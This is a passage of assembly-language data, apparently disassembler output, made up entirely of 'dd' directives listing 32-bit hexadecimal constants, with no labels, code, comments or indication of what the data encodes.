		dd 0D36D640Eh, 571287BBh, 83F0EE40h, 778603A5h,	0BC27A0C6h
		dd 0DB8ABDB8h, 54BF7207h, 270C222h, 9CD70FF7h, 7ABD82B8h
		dd 610556C6h, 1F109CEDh, 0EF107C2Bh, 0E9CE1EAEh, 97678240h
		dd 0CD69BDFEh, 2FD07399h, 54003C35h, 0D189861Eh, 94699F2Bh
		dd 0F08B6E3Ch, 99C01AC8h, 5587436h, 2A59C16h, 81C8438Fh
		dd 0BD906E19h, 921FC831h, 4A80D8E1h, 0A2BEB4BCh, 503CE522h
		dd 2436C107h, 5A99B276h, 0E88AF46Ah, 969B0858h,	8CC75D00h
		dd 0B947043h, 9AA06FD8h, 3DBFC448h, 0CA250E25h,	5E40DC0Ch
		dd 941C1446h, 7B150010h, 77395EC2h, 0D0C891B7h,	0C6096D08h
		dd 0E206D110h, 0DC28DE64h, 0AAE6CD00h, 377B5DDAh, 81941E29h
		dd 0BDB41373h, 25AACC0h, 8A3EEBA4h, 64EAC719h, 76446CF4h
		dd 0D110D746h, 31CF0C26h, 464E6900h, 7F3CDD04h,	834712B9h
		dd 0B180049Fh, 46ED1E5Dh, 7CF55C1Ch, 41B67217h,	0BD1C2BCCh
		dd 54627BE7h, 0F1B8794Eh, 9F51889h, 0B9682BD4h,	85969890h
		dd 0C835D524h, 5F4C6AA5h, 0B100C8B7h, 0BA819739h, 8CE702F1h
		dd 360AA31Eh, 8B0990F0h, 74C7BD13h, 3208DCC0h, 803B3721h
		dd 0C47AB38h, 0E90FE3B7h, 43C59D65h, 0B87518B6h, 924E1EA4h
		dd 0C5405A38h, 56CA97Ch, 72A0F666h, 20B91CFDh, 0F264CD1h
		dd 950BA86Dh, 0ADC8D938h, 0C5003435h, 0F303596Fh, 8C5C005Dh
		dd 55FF2038h, 0D0B682CFh, 84E87E00h, 2F23ED8Dh,	8065EEDEh
		dd 2F4EBB91h, 728C7300h, 8B9D0238h, 0F2CFD5CCh,	4E2F7856h
		dd 71A8B18Ch, 5231197Bh, 7380BBFCh, 0BC9026E7h,	6CA0272Ch
		dd 4AC02921h, 58CC4C4Bh, 5FD8FB39h, 0DAE2FB7h, 8264A867h
		dd 27B2F660h, 7048C80Eh, 36014503h, 89811CE8h, 0D8657F82h
		dd 1C0911E4h, 8A2ABDEFh, 983F54AEh, 0AB91B319h,	54EECC1h
		dd 6860F108h, 596000A2h, 94DB3E82h, 0AFEA0208h,	6F8B128Ch
		dd 7C7800CCh, 16EE8BE9h, 38E8BD23h, 2485B47h, 0CB19C3A0h
		dd 20684B86h, 0DCAA9CACh, 0BBC6A00h, 1AB03D08h,	0D2A71876h
		dd 0B5FE4815h, 2EFC1D59h, 7A048CACh, 0A8F2891Fh, 12308BF2h
		dd 0EEC01358h, 0B808E9E6h, 12D63C46h, 7F004F40h, 3D4B0B91h
		dd 15B3AFh, 33AB8C18h, 0D22B7824h, 7ABCBE0Bh, 0BE8213Ah
		dd 0A82C43EAh, 62C1A200h, 8428E8B1h, 91489795h,	58EC8066h
		dd 1A9107Bh, 0F79C0344h, 3E54295Fh, 0A73B46Bh, 0EBD433D5h
		dd 8846748Ch, 0B34EDD00h, 0CCC8ABF2h, 0A7C72B02h, 542852ECh
		dd 37467C6Ch, 76BE7702h, 74DC39B6h, 685E1900h, 2DBF5224h
		dd 0B401627Ah, 7ABE6F90h, 91D6A449h, 0F4213CBCh, 7D96BFCh
		dd 0BA981B3Fh, 5F6510DFh, 0AD0481A6h, 51E43C13h, 453420AFh
		dd 0C816B5D8h, 0A0A60E1Fh, 646340E2h, 810F9480h, 0FD56750Ah
		dd 2E00FAB0h, 10E8BCB1h, 712669D5h, 71663082h, 289CA852h
		dd 17BECDCh, 11C2C059h,	0F5020440h, 4FDC39F8h, 18C8A0CBh
		dd 846601C3h, 2782EBC0h, 174E148Fh, 3C09BC7Fh, 0E8221F63h
		dd 0A5018EC3h, 0B433063Fh, 0CC3165A2h, 0FA5A25F4h, 76A30594h
		dd 40434986h, 0E67973F8h, 0A75E987h, 0F502806h,	416AEAh
		dd 88919318h, 0C09F8A5Ah, 0C6097A05h, 40EEAF5Dh, 0F474810Ch
		dd 0F5673A4h, 0C46DF0E8h, 508F000Bh, 4B6686CDh,	0BE4A682Ah
		dd 9E166CB2h, 0F11C9015h, 6B2FFF32h, 733C0B22h,	0C2DB587Ch
		dd 77A9EC00h, 8E76E5FCh, 34205E95h, 887C8B68h, 29A1C085h
		dd 950214EAh, 1BEBA6DFh, 68925FFFh, 465E087Eh, 0F9A72563h
		dd 0D4E08970h, 6411649Dh, 8060280h, 0EFA05453h,	0E225299Ah
		dd 16FC8EA7h, 0E52B1420h, 2C5C00E0h, 25FA4B9Ch,	0AA336FA5h
		dd 804121FFh, 0B5F0CFD1h, 7AC234E8h, 0C75BC783h, 61911E6Ch
		dd 5D63C2Ch, 89C99C37h,	106CCF20h, 0B9D24786h, 0CDA8BCh
		dd 8A4DA1DAh, 0EA91EF19h, 66AC0297h, 0F98B0164h, 4B5C388Fh
		dd 0AAE088A6h, 0F602AC8Fh, 0BE74D56Dh, 0D8B46A91h, 7C4CB46Ch
		dd 0C90F8246h, 8C80F8A1h, 7974A827h, 0E98A3106h, 1EB08713h
		dd 0EC4E22BDh, 3924818Ch, 2C5EFC7Ah, 8C18ECD0h,	0C08D6100h
		dd 588CBF42h, 0FA2209A5h, 24D41F6Dh, 0EDD16A9Ah, 12F9C074h
		dd 5805FA2Bh, 3CD52D4h,	1800F0EDh, 4606363Bh, 0E601B0DBh
		dd 247A985Bh, 5432E89Eh, 0DA8D8103h, 0AC0367Dh,	0AE387C8Ch
		dd 0CF55046Bh, 64BD25DEh, 8FA74B74h, 0CE328808h, 69B27080h
		dd 20250E8Eh, 0BC454C8h, 105C57EDh, 70E473ADh, 88001B9Fh
		dd 58CBD652h, 55030A26h, 4823A8AEh, 13083A2h, 0C1A100F7h
		dd 0A85EB421h, 861338ECh, 4CA83B45h, 7111D4C0h,	6C9EB99Eh
		dd 0C0104D25h, 0A6B5E0F6h, 870E0200h, 0AB4E8C59h, 58FF259Ch
		dd 20BC1878h, 7EA02CD6h, 27A0AABh, 67E301E0h, 0D06EC318h
		dd 54520DEBh, 3088F28Ch, 0B4E616D8h, 0CA72A212h, 0F501E892h
		dd 1CC4F8ABh, 6FC04655h, 8F80BCDBh, 85951526h, 0A53B9100h
		dd 18CCBBAh, 9C3AE7A7h,	0EE0EF57Ch, 92F37478h, 6C1C4C6Fh
		dd 0C2091FADh, 3AEA065Ah, 0C83338F4h, 0F09907FCh, 0C0D84CBFh
		dd 0AA2CEE6h, 9C07F64Ah, 2A82CDE4h, 0C488ABF2h,	159061Ch
		dd 8A849115h, 0E5FA1001h, 43D4C5A3h, 0D22C9068h, 1CFB49D4h
		dd 263CE470h, 8BC41D6h,	139279C6h, 32F2D0A2h, 211730h
		dd 0E304AA3Eh, 2436C2AEh, 0C080EDB5h, 6FD3E012h, 60EDD12Fh
		dd 9FD99368h, 0C1C1A407h, 2A515D13h, 4500F8F2h,	53BAA456h
		dd 0D61209EAh, 10A29B4Ch, 7FE2007Bh, 0AF52540h,	5703299Dh
		dd 2671C7CEh, 88A68B64h, 9B128FBh, 583323E8h, 0F0411876h
		dd 49AF5182h, 0E60AC009h, 0ABD30022h, 8D96E031h, 0D0423F5Fh
		dd 8021DDC1h, 0CFD460F4h, 0E4819766h, 0D77185FEh, 1BE2801h
		dd 9F022A6Eh, 27040474h, 48E8EA6Dh, 0A20BC921h,	0F2C5A84Fh
		dd 22D20A8h, 0B5B6AC0Bh, 3E84F125h, 0B0235B7Dh,	7B4A3914h
		dd 89BA7CD2h, 7CCC428h,	902C2451h, 0B07D403Dh, 5200E971h
		dd 36338DA0h, 50F045A5h, 3FDE1C8Eh, 0B6822CF9h,	138C4175h
		dd 51B40777h, 93A3E26h,	8362222Bh, 0ECF45C0Bh, 8FF04C40h
		dd 4E110180h, 107F90CDh, 0C0E4575Fh, 0C75D4CB7h, 30784C9Bh
		dd 5CA602BEh, 41D710C7h, 390944D8h, 1205FC20h, 0DCE07408h
		dd 30C1D300h, 0A06C2AB4h, 0EE8B08A7h, 0F8302C4Eh, 4A169Bh
		dd 0FFEBDC60h, 907B1A33h, 8CD2BCA2h, 9A4A0943h,	569E8028h
		dd 98DF7E9h, 0B0939524h, 5325F47Eh, 2FBC58E0h, 6D7A3612h
		dd 6FC09A1Fh, 0F0241DF7h, 98CB5984h, 12EF5C0Bh,	1BBD9C50h
		dd 0F2CF90FCh, 4418C935h, 0DBB6FC80h, 88091C2Ch, 40DD8676h
		dd 49D7D4D8h, 5E0394FEh, 655091C0h, 0F7579AE0h,	3579CCA8h
		dd 0AE5199C3h, 4C2D513h, 0F6F0D67Dh, 0F83F5E01h, 5A71ED27h
		dd 593087D3h, 16F14F82h, 0A61E8B9Dh, 0D2C0E734h, 97EBBA74h
		dd 9AAB4E9h, 4051BEF0h,	0A74B105Bh, 4CE4C4D0h, 0F691054Ah
		dd 0B3320995h, 44E64E38h, 6B76BFA0h, 11CD1700h,	0F5803F01h
		dd 40E8370Fh, 0D20BA9h,	0B555EF07h, 0C04F49F6h,	0CF948574h
		dd 0E60D024Eh, 0A67D8972h, 3288907Fh, 1AC500A1h, 0BC0F51C6h
		dd 0B2178565h, 80B3AAB8h
		dd 298A2388h, 66071079h, 0B6C510D4h, 78203CB5h,	85512739h
		dd 6DA7E873h, 0F87A4088h, 18B1BB8Eh, 671885D1h,	6A4CC901h
		dd 372CE458h, 0BCDA7C40h, 68FA003Bh, 7AD82E9Eh,	0E4BD32A1h
		dd 4290074h, 2B21A37Dh,	5100D780h, 59AB2FF3h, 44376963h
		dd 9304B426h, 6FF8C92Ah, 56A117C2h, 0F98A4168h,	0E0C02B83h
		dd 27524889h, 64F2D7D6h, 11174CA0h, 0B9604102h,	0A096225Ch
		dd 0A7D653A8h, 340E970Eh, 802622DDh, 0A5000963h, 0D2EB50DFh
		dd 223800C7h, 1BC41431h, 1A62CA70h, 950B79h, 0D6614E17h
		dd 320AB719h, 90101051h, 0CCF61841h, 0AF47FE00h, 861BBDC4h
		dd 5430059Dh, 0ECFD9676h, 9CE25FDCh, 29406200h,	19C49247h
		dd 690FF900h, 7AEC464Bh, 8B2C028Ah, 894D8C59h, 1DCFC76h
		dd 0B0C59184h, 0D0D135E8h, 7E0038AAh, 0CE218654h, 5008029Ch
		dd 58D0F9h, 1F2E2882h, 21F1DE67h, 0D2EBCC38h, 3086E23Ch
		dd 0A903E999h, 8C90680Bh, 0A70015Bh, 0BD9C7B2Bh, 2CD22ED1h
		dd 9424F01Ch, 500F4D8h,	0CA1D11E8h, 0BFBBD22Ah,	705B50C1h
		dd 0E7B775FCh, 62146468h, 24C257C7h, 1960187Eh,	12FEE5E3h
		dd 0AC4C7BCAh, 2D4B80B4h, 0E087E07h, 0DEE340E4h, 0E2BE3301h
		dd 176DC850h, 34908E4Eh, 41A1B5F4h, 10C13F5Bh, 60CAECE9h
		dd 83588D7Ch, 88899DAAh, 3D640D4h, 0A26CCA22h, 97E19CC8h
		dd 39A1C76Bh, 0BB24447Dh, 13D89818h, 8D2274Fh, 0A7080D3h
		dd 319A0377h, 0F1EDBAC6h, 7B115805h, 388E51C1h,	0AFC03788h
		dd 0B980F0ACh, 0EE8E058Ch, 28D8EC0Eh, 130FC84Fh, 81730575h
		dd 66C6B0A1h, 2FBF5020h, 90202AA2h, 8CB3EA33h, 0AC8FE95Ah
		dd 1DC164C8h, 55C401A3h, 83DF3E3Eh, 7F80A1CEh, 31234C3Bh
		dd 9C8E013Bh, 9EEFD635h, 72C40E2Ah, 0D3F08AA2h,	0A5A0840h
		dd 473522Ch, 825EF943h,	0B0B7D523h, 86DFB301h, 306041A7h
		dd 886F499Eh, 0C0FC9A4Fh, 0A284AD91h, 895E250Ah, 0A3FDA085h
		dd 4F298488h, 0B62233Eh, 981E8532h, 0FCBED12Eh,	0C0C44DADh
		dd 816321AAh, 1CF00690h, 6CE4BDh, 849D13D0h, 616E2D3Bh
		dd 93D35700h, 50755258h, 76382489h, 4205C9A0h, 0AF0C828Ch
		dd 524824DFh, 1B8BD0A0h, 1893AB01h, 0A3BDDCA3h,	301DE248h
		dd 1903909Dh, 2C63890Dh, 0B0B4D8FCh, 0CE62DBCh,	34A57804h
		dd 23A828ADh, 0D16FCE00h, 11984EFh, 0F8449D83h,	5ECC6554h
		dd 789EBF2Fh, 0B6740860h, 2A3C3089h, 7A58A0ACh,	35151070h
		dd 4BE0B81Eh, 10507BE8h, 11AC1FBDh, 0F97E8018h,	0BF17B7C9h
		dd 8F9C3CE0h, 79683535h, 946EFAh, 1F858B69h, 740CADDFh
		dd 2ABC089Eh, 0C70A6726h, 396C84D1h, 4A221743h,	2AA4ED68h
		dd 0BF0EF0DFh, 778FE202h, 0C1E814F9h, 91ED2A01h, 0F4AA6FB2h
		dd 8627643Dh, 0C5C88818h, 3830EF5Ah, 0EF27E18Ah, 9694912Fh
		dd 0EB1C3471h, 0DEFC0D4Bh, 4194E05Eh, 60A0E54Bh, 0BDD1C47Dh
		dd 0D4CCFCECh, 44D34B24h, 0FC2FE189h, 452818A8h, 741AD00Bh
		dd 89F93E03h, 0A44BA76Ch, 0B81C10BAh, 0BEBCC45Ah, 0F700686Bh
		dd 7CFC0ADDh, 0FB610B36h, 88BE22A1h, 5EB0AC40h,	0BD207D39h
		dd 7BB23C02h, 54E903h, 796E2B49h, 9637063Dh, 42E7650Eh
		dd 38CE615Eh, 0C1800272h, 769B32F8h, 5C4EF1BEh,	20AEC20h
		dd 68099D63h, 7427F4C4h, 0E478E5C4h, 0C396637Bh, 1FB79891h
		dd 97741EF3h, 0C8D067BEh, 0A63740h, 5AECC5AAh, 0BF61800Fh
		dd 48283838h, 62E613C4h, 0D43454F1h, 0B9961375h, 5B58B22Bh
		dd 16F210B2h, 4CF27030h, 62264CAh, 0D1685100h, 0EF7C60EEh
		dd 0B4135AF6h, 0BEF0EB4Ch, 2BC1A59h, 4D7BAD51h,	1DB890EAh
		dd 3CE773F2h, 4B01A8A0h, 31F02750h, 6C887FAFh, 0ECE2BD45h
		dd 106294C1h, 4D72D2h, 0B5F8F6C6h, 8B8DA877h, 47ED5D00h
		dd 591A3D55h, 0B9271AC8h, 30784088h, 0CF789C93h, 39517674h
		dd 20BAF6Fh, 38461811h,	0DC48BCh, 0D9E97F6Fh, 7A69C63Dh
		dd 3382C702h, 181EB1Ah,	2FF12839h, 6AFBDC75h, 0C4530050h
		dd 0D42E1D52h, 11183A10h, 0A24CB3DBh, 3DF03366h, 0B804A972h
		dd 6B6E019Ch, 0E9AC5CF9h, 21186702h, 41CDE56Ch,	9100724h
		dd 80ABF7E2h, 52415EFAh, 20C52F2Fh, 1C46EFFh, 21D1658Fh
		dd 0EC70553Bh, 10F8060h, 8B30F071h, 0E9B1E152h,	0C9334FD4h
		dd 6CDB6E54h, 30AFCF87h, 0E1E96F8Bh, 0BB138C38h, 37522D3Dh
		dd 5E170070h, 61E8BBAh,	0DE14AD00h, 0AAF201E1h,	0F8591C9Bh
		dd 0F88D153Ch, 0C900273Ch, 83BF8E62h, 0B13B1719h, 0A68481D7h
		dd 8AC3A913h, 827BB3EDh, 0D040897Ch, 0CE20BE8Dh, 0B1477C18h
		dd 3EFA0014h, 5D03268Fh, 5310DCB4h, 44DC7D8Bh, 64FD1264h
		dd 23282E92h, 99ED0217h, 0A863E8BDh, 0DC0223B2h, 0B305AEBh
		dd 2A9BC058h, 0C4BEB056h, 963CA0D6h, 36E48Ch, 594C99DBh
		dd 22B258Dh, 0F85D8A28h, 0A45EF65Ah, 6AD4E1F2h,	0A5A47B4Ch
		dd 13DCC4F4h, 0F8D47BB5h, 0C5338084h, 99F167h, 0F719B463h
		dd 38EA1EBDh, 0AD882C01h, 919FF98Ah, 0DDF0C452h, 43151C98h
		dd 0E44A8BFEh, 89C80CCBh, 6031DCC1h, 0E850346Fh, 56A28010h
		dd 3F13FAB3h, 2703209Fh, 0EB4E3553h, 0CA76E2B0h, 42D995Bh
		dd 40CBE430h, 0AA5F0380h, 8423F43Eh, 58A2AE00h,	6135721h
		dd 2ABDD12Ch, 88B0585Eh, 73391E12h, 18073037h, 0F0EBC480h
		dd 4C8C0559h, 0F05E7AE1h, 137FD97Ch, 0E8EC854Ch, 0DA078C1Ah
		dd 8ECAABEBh, 0E7E980EFh, 274E4805h, 0ACDBC174h, 0F765C70h
		dd 5BF3D9D5h, 60A236h, 54E31291h, 524EDEBh, 612FFC7Bh
		dd 0CE31C0E1h, 1D4A8676h, 0F03D78A1h, 0C0DB52A2h, 3D54D4D8h
		dd 283446Fh, 41395D96h,	7174C3Bh, 13C5EA53h, 98FC12BEh
		dd 6272A381h, 98CB3B88h, 30B88C48h, 774B028Ch, 38A815C3h
		dd 298890F5h, 8CD3161Ah, 97E4E2E9h, 0E9A8E4A9h,	125B952Eh
		dd 8D44481Fh, 10A483F0h, 0E2A55F68h, 0D71280A0h, 7DF9BCD0h
		dd 7C8501AFh, 91087823h, 0AC3839B4h, 0E8DF4B9Ch, 8C30BCF8h
		dd 26011174h, 22A36F52h, 0C0286C62h, 3CFE1907h,	999F428Ah
		dd 583D7Dh, 0C937E8DBh,	179F652Dh, 808391A8h, 37160148h
		dd 45EECD0h, 8EF0C9E0h,	0A7D6456Ah, 0F61849AEh,	70D0C08Bh
		dd 0A6E0DE0Eh, 7451ABDFh, 0F200DC04h, 8F33919Ch, 0BEED7748h
		dd 30465E14h, 6E22C200h, 74881D15h, 0C1BD9E25h,	0F337E0h
		dd 0FD14F429h, 0CC599070h, 0D1E81C02h, 0E00258BCh, 4B8AB8B3h
		dd 0F76040D6h, 122251BEh, 4B819403h, 8003E731h,	9D295FF8h
		dd 4CC0E4EDh, 5C021B0h,	0D9E3B5B7h, 0BFB0707Fh,	94800D0Eh
		dd 23C520B5h, 5A2DEFF8h, 2770441Fh, 74E63EBDh, 0EF7E8605h
		dd 6EEA3AB7h, 0A1B316A0h, 0F8203CBCh, 1F107195h, 7C5B82F3h
		dd 15C1B445h, 59D0E85Dh, 0B9F9CE05h, 78B272D9h,	0C46DB527h
		dd 0CB8ABE60h, 3F461CE3h, 20C8221h, 0B806957Fh,	78452FF0h
		dd 0FAA1C8C0h, 952188h,	10B3BED7h, 0BB598B8Eh, 2A2D4D0Fh
		dd 478D6072h, 55D7D591h, 8E2AA8B6h, 0C07BC8C8h,	0D2B9EF45h
		dd 82DCC306h, 954857ECh, 69C0F8EDh, 17B483F5h, 4673F3Dh
		dd 102B7A50h, 400C04A4h, 6EFE08D2h, 0AC3D0028h,	14EE38E1h
		dd 78799749h, 5A00501Dh, 4E3F67B0h, 456D0778h, 710D5B6h
		dd 1E84E12Eh, 0CB2B27h,	6EC089C8h, 1FA417h, 0CB2B326Fh
		dd 5A7521BBh, 0BB51E038h, 95849AFh, 6654AE39h, 0F0415AF8h
		dd 0B61274DCh, 9CB94871h, 7BB824D4h, 8CEA008Ch,	192BFBA9h
		dd 664827D2h, 0DF92218h
		dd 34ADBE76h, 0A8CD2A68h, 85887C0Bh, 92331DC0h,	7EF709DBh
		dd 34057651h, 4ED0B710h, 6323702Fh, 0BC6FCD05h,	2E0ECC8h
		dd 7AA2BED4h, 805F8B82h, 63F34C98h, 4C507907h, 0A40A4E5Fh
		dd 272489F0h, 9B1F8459h, 6B48A680h, 0BB3C7Eh, 0CF15B07Bh
		dd 58626384h, 5DC8C295h, 0D66440CFh, 0A1A20A83h, 0CB7B57DFh
		dd 76BD05F8h, 50F6F71Fh, 36B66FE0h, 8CA37001h, 821ACBABh
		dd 221C8E7Eh, 0DE66005Eh, 0EBE1BA01h, 194E8ECFh, 8C79E03Bh
		dd 9D024E16h, 0F35EB0BCh, 3188E208h, 27A33017h,	0AE2AA309h
		dd 9740F978h, 0F81CBCA6h, 0C0008C18h, 0D47F0A59h, 0F93CD110h
		dd 0F7718852h, 6CA3C819h, 91A52C40h, 50C84F3Fh,	1C4FB7B4h
		dd 1418260h, 0F2B7178Fh, 9370E860h, 941BC900h, 638E1Ah
		dd 0DC5AC23Bh, 1CA6CF59h, 26D7D609h, 98507811h,	9B8B223Ch
		dd 191AF69h, 7AE15B1Ch,	0C98B0ADh, 67501A03h, 0E18718h
		dd 4B11BE74h, 5204D15Eh, 0D8CC6B27h, 198D1096h,	0BF5B023Ch
		dd 55661202h, 5BE4C06Bh, 5D310010h, 0C94BB687h,	0BD086DB9h
		dd 371AE22h, 0E0297381h, 2CF6284Bh, 0B6E649E0h,	95CCA501h
		dd 3A4D8E76h, 2ACCC96Bh, 16C8188Bh, 299415C0h, 0F8754A39h
		dd 4485DD90h, 0E8B440C1h, 5B848741h, 88A8CA22h,	0E8B09002h
		dd 0D86268BEh, 0DC4CBC62h, 9180E091h, 0B9B4E9B0h, 0FB062735h
		dd 6740F04Fh, 399D92Eh,	0A7C2C3F4h, 8AF2280Eh, 6FF59D61h
		dd 54021CD1h, 98316100h, 0C058CD97h, 68595ECDh,	9D67A15h
		dd 21180794h, 0E049B9C8h, 4A336043h, 0E0D8E69Bh, 0E85C4DE0h
		dd 0A5222D0Ah, 75723860h, 7C4B48B4h, 1103DCA8h,	0FA492510h
		dd 5FE8AAE0h, 0FC155CC6h, 3082604h, 0D6E5EBF4h,	6AE1000Fh
		dd 5DB9A137h, 920F0CEAh, 4052F312h, 0D7EBFACCh,	22362805h
		dd 0D0211E20h, 527D71Eh, 0AB7B0750h, 49A5C53h, 7CFCA5C0h
		dd 6302EA48h, 2AA2A83Dh, 7CCF68Ah, 68A3E189h, 54C75D09h
		dd 5E00DCF4h, 7C15A03Ah, 0B4C2BBh, 530A324Eh, 6D681C34h
		dd 7ECBD403h, 882C28F2h, 1FB20201h, 4176903h, 0C083DDECh
		dd 3667CDA2h, 0BCAF7F00h, 0D45C7ECFh, 1FD900EBh, 80DB5530h
		dd 0C3664CD8h, 21E708h,	531FD20Eh, 0A170498Ch, 1A36E900h
		dd 313C56FEh, 86B400E4h, 0A99D8A5Bh, 0F407DC45h, 0B5059103h
		dd 0D0BADDC3h, 0DDEFE9Fh, 0E08D14CAh, 8EDFE930h, 0E0445CB0h
		dd 0E9BB3079h, 0A4030F01h, 3A802F7Fh, 0BA6C338Bh, 26F03C7Dh
		dd 0F82B420h, 97B69ECBh, 0F8B00820h, 0A066FFCFh, 1F219908h
		dd 0C797AEC0h, 0EFAFD2BDh, 32BE56E3h, 0C6454380h, 5DCD630Eh
		dd 0BD670159h, 0E3CCBAD3h, 0DE767B4Eh, 0A868D540h, 0DC92B900h
		dd 823D2B8h, 729B7100h,	0E593A8B2h, 9480001h, 84382936h
		dd 5101DE58h, 0F23118A3h, 18862F8Ah, 2030B993h,	72F889F0h
		dd 6215FA01h, 0A2ECBAE5h, 401180F0h, 5800293Ch,	0C182F2DDh
		dd 332D53D0h, 4E08C8B9h, 0D5792101h, 0F0601AF2h, 3E3D11C4h
		dd 61E0BB93h, 39C5F5B4h, 0EA401201h, 95220C26h,	0C9E18980h
		dd 0AD622BFBh, 0F3E6B900h, 44ED8186h, 0D54F01CBh, 22015A98h
		dd 42318E90h, 0FB2800EEh, 2EDC667Ch, 3AE4DD6Ah,	89299983h
		dd 0F90F336Ch, 0E0FB824Fh, 885C75B8h, 86D66B0h,	70002148h
		dd 0C5C6FB7Ah, 17515EBh, 931054A2h, 0BB3969B7h,	0D53806B8h
		dd 7C92D17h, 89479149h,	33A8F0B2h, 8CC7CAAh, 0FC6A2140h
		dd 34600047h, 0E03E9326h, 376C3D31h, 8C8EA071h,	0E2FB8704h
		dd 49629DB8h, 0FB7F7520h, 0F3F03D2h, 0E42E9EFAh, 6270598h
		dd 0F107860Ah, 7F11D429h, 81F2DC80h, 448CC8C1h,	0D400784Ch
		dd 41C390F2h, 112147FDh, 33188Bh, 0EC713146h, 17ECDE2h
		dd 5D735F35h, 87EFAF3Fh, 4939C141h, 2495389Ch, 112411B5h
		dd 0C38F012Ch, 3CEB2674h, 93C0B3F0h, 0ED443B00h, 83790D7Dh
		dd 6D1B827Ah, 9CC88437h, 86F2E160h, 11F0C123h, 0D97D1254h
		dd 6A00481Eh, 8D281285h, 0D87A6F59h, 0EC5AA1B8h, 63C12D08h
		dd 0AF3E0631h, 9E064186h, 4712270Fh, 4180ED11h,	9E9DA5Bh
		dd 4000209Bh, 0BB2643CDh, 90A015DEh, 6D9714A0h,	8DC8E861h
		dd 0E1FB86C0h, 229546B8h, 7E740045h, 0AD6F9EFBh, 0E5140F98h
		dd 5805206h, 3B65C532h,	2C09014h, 284347E9h, 81AE1B5h
		dd 0A98E3FF1h, 0E4C06977h, 0B43EF83Bh, 0F819B1E5h, 8E0033C1h
		dd 6537BDF0h, 3AD0505Fh, 55562h, 0A918571Fh, 0A7F8B494h
		dd 44BAE418h, 20F5AA80h, 54495A55h, 0B4930A58h,	0B7BBE065h
		dd 0FC169C2h, 39A612EDh, 61C20EAh, 207B2FEEh, 0A4002987h
		dd 0D92EC89h, 333C4D84h, 0A0087405h, 81C62100h,	0D198C9ECh
		dd 128006D9h, 608FA53Bh, 4265F622h, 3B6C15EEh, 487102A4h
		dd 7FCF94F0h, 3D557660h, 0BA938E13h, 2DED3830h,	2EE28032h
		dd 9069BF14h, 863450E0h, 0F2E30E8Ch, 5409C188h,	7F046C96h
		dd 9B07F2DBh, 0E3DEB9C2h, 24871F5h, 0A3222814h,	28908284h
		dd 0C1F4F2DFh, 6953E021h, 0A1F2AF87h, 329A0AFBh, 3043F208h
		dd 0CCFD86F6h, 0BA02332Ah, 12C4ADB7h, 4988942h,	9760DB58h
		dd 0B2238F47h, 3F4611B4h, 0E85870h, 0CE66BD30h,	20A98D0h
		dd 416C19AEh, 28403205h, 0CA1950EDh, 0D9606379h, 47099518h
		dd 9CA4B28Dh, 0EC6E4A88h, 9EFE019Fh, 6DE65292h,	2431F370h
		dd 0A0049821h, 0E14A0797h, 0BE39DDEh, 8182FE00h, 5807DAC9h
		dd 4D1991EDh, 6ACD0D20h, 0D774A144h, 8B47E419h,	1194B223h
		dd 6C3F41h, 0DBB2C447h,	3A5A53C0h, 5C48A5BDh, 8EC08088h
		dd 460D97ECh, 9F22ACh, 0AAEC86CBh, 0EAB16BEBh, 0F44A7901h
		dd 5E3909C1h, 0DEBA9840h, 0CCE9D4C9h, 783EB510h, 83305A02h
		dd 4842132Fh, 1077E08h,	0A5286976h, 0CD802A6Dh,	9909104Dh
		dd 79F76FE0h, 12BC0414h, 10895930h, 4AE92Eh, 8F9E76C3h
		dd 0E3519BF6h, 2CE2B0Eh, 0B6FFE02Ch, 36DD479h, 439AB478h
		dd 8E80FDEEh, 400AC5Ch,	0B3CF90DAh, 4FC920h, 0C50F43AFh
		dd 0A7096098h, 24823A00h, 337A3806h, 0FE4900FDh, 0DF23CEB3h
		dd 0BE006D13h, 0C8557DBBh, 3824A541h, 0BD864D91h, 71B54598h
		dd 0A3CDBF00h, 9EB9A70Bh, 0F7FE0303h, 0E9A212A5h, 1CD31EC8h
		dd 76A7401h, 26812741h,	1A6CC0h, 0DFFEA868h, 0EE5F9ECFh
		dd 4077B9EEh, 598BB207h, 0BCF0AFB1h, 98E0DCB4h,	9C2358DEh
		dd 70655700h, 0D596DB5Ah, 0D422BD1Fh, 4E528A40h, 737499E8h
		dd 92534CC9h, 0C6182F07h, 0C41A1035h, 0F338FE3Fh, 0EB86805Bh
		dd 9B42DB53h, 9A982CFDh, 1FAC0161h, 203190A5h, 93E182FFh
		dd 0A0EEE102h, 150097EFh, 33305CC5h, 83631Dh, 0B15ADF37h
		dd 491B66A0h, 0A5790F00h, 48AB5272h, 0B05F00AFh, 0E57B479Bh
		dd 0D0CAC40h, 6274F4CCh, 799D0739h, 7258DC35h, 1D4168FEh
		dd 75778001h, 42D4A64Ah, 1F7300ABh, 3FFA2BBAh, 1301BFF3h
		dd 15A17DFFh, 0EE207FFDh, 18EF0077h, 6FCB225Bh,	72758633h
		dd 0B1F51900h, 0E6A6DB9Dh, 305B0EC8h, 50C0742Eh, 0BE6B2FC6h
		dd 0FCC0B138h, 52C0D6DEh, 262434BBh, 55C739CAh,	8A38B500h
		dd 9D5A74Ah, 0E5A94D00h, 19B2953h, 0C9B31745h, 16350461h
		dd 0DC0B8077h, 5500E751h, 2335912Bh, 72FF8559h,	3DD30033h
		dd 47CBE343h, 7B0375A6h, 0FB8430DAh, 0CFF52A7Eh, 0D1AB0534h
		dd 8389AE47h, 20EFED87h, 32ECE905h, 0E43C9801h,	0A1733366h
		dd 79DBA80h, 0E226C72Bh, 9F2D4F30h, 0E2D4C5B7h,	3C24C1A0h
		dd 3E078A66h, 0AC1B00BFh
		dd 0BE2EF674h, 18EB923Ah, 2090FDC6h, 10828956h,	1E2DA943h
		dd 0A40277F5h, 26928001h, 0C966E10h, 1B27E39h, 2DC7BD52h
		dd 25873474h, 16D3C6DCh, 3D000EC4h, 900DD167h, 142BDD7Ch
		dd 8B514006h, 7812B000h, 204315EDh, 0BB727B06h,	0CC05B7Fh
		dd 392D8879h, 804EC42h,	6C50B061h, 44AE2182h, 4A340017h
		dd 4E0ADAA4h, 7200D2ACh, 9652FB1Dh, 77FE80h, 14A6313Ch
		dd 0B5ADA29Dh, 12903700h, 0A748632h, 53FB016Bh,	4D69C143h
		dd 2AAADCAFh, 3E489400h, 21FD7F96h, 0B65700A3h,	2873ADF4h
		dd 6E3E0F01h, 5B208088h, 3069E235h, 3EDC00F8h, 4013AA3Ch
		dd 7E72D5C5h, 0D9240C02h, 48A3DD7Fh, 3AD321h, 5AF3BBAh
		dd 8F230F80h, 4F29C301h, 31D824F7h, 1E1B65D0h, 0C0CDC581h
